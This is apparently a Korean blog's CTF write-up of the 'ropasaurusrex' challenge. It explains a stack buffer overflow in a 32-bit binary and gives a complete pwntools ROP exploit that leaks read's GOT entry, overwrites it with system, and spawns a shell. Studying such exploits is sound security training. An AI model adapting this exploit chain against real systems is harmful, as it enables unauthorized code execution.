file 명령어로 문제 파일을 확인하면 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 NX 보호기법만 적용되어 있는 것을 확인할 수 있다.

바이너리를 실행하면 입력을 받고, WIN을 출력해주는 것을 확인할 수 있다.

gdb로 함수 목록을 보면 main 함수도 없어서 당황했는데, ida로는 확인할 수 있었다.

main 함수를 보면 sub_80483F4() 함수를 호출하고, write 함수로 WIN을 출력하는 것을 확인할 수 있다.

sub_80483F4(); 함수를 확인하면 다음과 같다.

크기 136의 buf 변수를 선언하고 있고, read 함수에서 buf 변수에 입력을 받고 있다. 이때 0x100(256)크기 만큼 입력을 받고 있기 때문에 bof가 발생한다. 

 

rop 기법으로 system("/bin/sh")을 실행 시켜서 쉘을 실행 시켜야 할 것 같다. 

먼저 read 함수의 plt와 got, write 함수의 plt 주소를 찾아 read 함수의 got에 system 함수의 주소를 덮어야 한다. 사용할 함수들의 plt와 got는 pwntools의 plt와 got 기능을 이용하여 구할 수 있다.

그리고 read 함수와 system 함수의 offset은 다음과 같이 구할 수 있다.

read 함수와 write 함수는 인자가 3개이기 때문에 계속 호출하기 위한 pop pop pop ret gadget은 objdump -D ./ropasaurusrex | grep -B3 ret 명령으로 구할 수 있다.  

system 함수의 인자로 들어갈 /bin/sh 문자열이 저장될 공간은 readelf -S 명령으로 헤더에서 저장할 수 있는 공간을 찾을 수 있다.

이 바이너리의 경우 .dynamic에 /bin/sh 문자열을 저장하면 될 것 같다.

위에서 구한 정보들로 rop 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
sys_offset = 0x9ae70
dy = 0x08049530
pppr = 0x080484b6
binsh = "/bin/sh\x00"

pay = "A" * 140
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(dy)
pay += p32(len(binsh))

pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)

pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(len(binsh))

pay += p32(read_plt)
pay += "B" * 4
pay += p32(dy)

p.send(pay)
p.send(binsh)

read = p.recv(4)
sys = u32(read) - sys_offset

p.sendline(p32(sys))
p.interactive()

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

+ Recent posts